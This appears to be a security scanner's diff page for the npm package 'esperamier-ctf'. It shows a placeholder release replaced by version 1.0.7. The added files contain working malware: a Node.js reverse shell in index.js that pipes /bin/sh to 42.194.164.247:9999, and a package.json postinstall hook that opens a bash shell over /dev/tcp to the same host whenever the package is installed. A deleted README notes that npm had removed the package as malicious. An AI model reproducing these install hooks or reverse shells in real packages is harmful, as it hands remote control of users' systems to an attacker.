esperamier-ctf 0.0.1-security → 1.0.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of esperamier-ctf might be problematic. Click here for more details.

package/exploit.js ADDED
@@ -0,0 +1,2 @@
1
+ const exp = require('./index.js')
2
+ exp.cmd()
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ cmd = function() {
2
+ var net = require("net"),
3
+ cp = require("child_process"),
4
+ sh = cp.spawn("/bin/sh", []);
5
+ var client = new net.Socket();
6
+ client.connect(9999, "42.194.164.247", function() {
7
+ client.pipe(sh.stdin);
8
+ sh.stdout.pipe(client);
9
+ sh.stderr.pipe(client);
10
+ });
11
+ return /a/; // Prevents the Node.js application form crashing
12
+ }
13
+
14
+ exports.cmd = cmd
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "esperamier-ctf",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "description": "shell",
5
+ "main": "exploit.js",
6
+ "scripts": {
7
+ "postinstall": "bash -i > /dev/tcp/42.194.164.247/9999 2>&1 &",
8
+ "start":"node exploit.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=esperamier-ctf for more information.